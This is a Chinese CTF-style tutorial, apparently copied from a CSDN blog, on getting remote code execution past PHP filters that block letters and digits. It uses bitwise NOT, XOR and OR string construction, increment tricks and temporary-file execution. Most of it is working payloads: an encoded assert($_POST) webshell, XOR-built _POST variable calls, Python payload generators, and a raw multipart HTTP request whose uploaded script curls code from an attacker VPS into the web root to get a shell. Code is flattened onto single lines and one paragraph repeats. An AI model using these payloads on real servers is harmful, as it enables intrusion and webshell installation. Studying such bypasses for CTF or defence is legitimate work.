目录
大概思路有取反、异或、自增,临时文件
取反
如图示,对phpinfo取反,再取反,仍然得到phpinfo,但是可以利用它进行一些对数字字母过滤的绕过
paylaod: (~%8F%97%8F%96%91%99%90)();
像这样:
shell:
(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);
异或
这里有一个异或构造的脚本, 相信聪明的你一看就知道怎么回事了
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "answer = str(input("请输入进行异或构造的字符串:"))tmp1, tmp2 = '', ''for c in answer: for i in valid: for j in valid: if (ord(i) ^ ord(j) == ord(c)): tmp1 += i tmp2 += j break else: continue breakprint("tmp1为:",tmp1)print("tmp2为:",tmp2)
那么怎么利用呢?
var_dump('#'^'|'); //得到字符 _var_dump('.'^'~'); //得到字符 P var_dump('/'^'`'); //得到字符 0 var_dump('|'^'/'); //得到字符 S var_dump('{'^'/'); //得到字符 T $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //变量$__值为字符串'_POST'
mess=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);&_=print_r(show_source('p.php'));
//需要注意的是,由于我们的Payload中含有一些特殊字符,我们我们需要对Payload进行一次URL编码。
像这样:
${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=命令或函数
${"`{{{"^"?<>/"}['+']();&+=命令 //$_GET[+]
或
参考ctfshow web141
payload大概这个样:
?v1=1&v2=1&v3=%2b("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60")%2b
import recontent = ''preg = '[a-z]|[0-9]' # 题目过滤正则# 生成字典for i in range(256): for j in range(256): if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)): k = i | j if 32 <= k <= 126: a = '%' + hex(i)[2:].zfill(2) b = '%' + hex(j)[2:].zfill(2) content += (chr(k) + ' ' + a + ' ' + b + '\n')f = open('rce_or.txt', 'w')f.write(content)while True: payload1 = '' payload2 = '' code = input("data:") for i in code: f = open('rce_or.txt') lines = f.readlines() for line in lines: if i == line[0]: payload1 = payload1 + line[2:5] payload2 = payload2 + line[6:9] break payload = '("'+payload1+'"|"'+payload2+'")' print("payload: "+ payload)
自增
$++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字
"A"++ ==> "B""B"++ ==> "C"
也就是说,如果我们能够得到"A",那么我们就能通过自增自减,得到所有的字母。 那么问题就转化为怎么得到一个字符"A"。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。
$++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字
payload:
临时文件
临时文件目录:
Linux临时文件主要存储在/tmp/
目录下,格式通常是(/tmp/php[6个随机字符]
)
Windows临时文件主要存储在C:/Windows/
目录下,格式通常是(C:/Windows/php[4个随机字符].tmp
)
大概就是在自己的vps上写一个命令执行的txt,然后在题目post该命令
curl http://your_vps/1.txt > /var/www/html/1.php
然后 ?cmd=?>=`/??p/p?p??????`;
为什么可以这样执行呢?因为在linux里,如果一个文件里有命令,是可以通过这个文件名执行命令的,这里我们相当于使用临时文件执行了命令
报文:
POST /?cmd=?>=`.+/??p/p?p??????`; HTTP/1.1Host: 618a0396-811a-4d71-8a45-f1de434bde26.chall.ctf.showUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------5642920497686823912130808832Connection: closeCookie: UM_distinctid=17424c95164f2-06a0a787df53968-4c302273-144000-17424c9516533dUpgrade-Insecure-Requests: 1Content-Length: 291-----------------------------5642920497686823912130808832Content-Disposition: form-data; name="fileUpload"; filename="dd.txt"Content-Type: text/plain#! /bin/shcurl http://your_vps/dd.txt >> /var/www/html/Demo.php-----------------------------5642920497686823912130808832--
这样就会把dd.txt里的内容以php的形式写入到网站服务器里。完成getshell。
来源地址:https://blog.csdn.net/qq_61778128/article/details/127063407